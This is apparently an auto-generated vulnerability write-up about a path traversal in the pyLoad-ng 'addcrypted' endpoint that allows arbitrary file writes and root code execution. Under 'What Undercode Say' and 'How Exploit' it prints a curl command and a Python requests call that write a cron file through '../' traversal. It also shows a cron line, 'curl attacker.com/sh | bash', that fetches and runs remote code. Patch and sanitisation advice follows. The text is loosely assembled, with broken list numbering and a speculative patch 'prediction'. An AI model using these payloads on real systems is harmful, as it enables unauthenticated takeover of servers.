Listen to this Post
How the CVE Works
The vulnerability exists in the `addcrypted` endpoint of pyLoad-ng due to improper sanitization of the `package` parameter. Attackers can exploit path traversal (../../) to write malicious files outside the intended directory. The crafted payload overwrites system files (e.g., /etc/cron.d/) with a base64-encoded cron job, leading to RCE as root. The unsafe `os.path.join()` concatenation allows bypassing directory restrictions, enabling arbitrary file writes.
DailyCVE Form
Platform: pyLoad-ng
Version: <0.5.0
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2023-01-05
Prediction: Patch by 2023-02-15
What Undercode Say
curl -X POST http://target/addcrypted -d "package=../../../../etc/cron.d/exploit&crypted=base64_payload"
import requests, base64
requests.post("http://target/addcrypted", data={"package": "../../malicious", "crypted": "b64_payload"})
How Exploit
- Craft malicious cron job (
root curl attacker.com/sh | bash).
2. Encode payload in base64.
- Send POST to `/addcrypted` with traversal in
package.
Protection from this CVE
- Update to pyLoad-ng ≥0.5.0.
- Sanitize `package` input.
- Restrict filesystem writes.
Impact
- Unauthenticated RCE as root.
- Cron/systemd hijacking.
- Full system compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
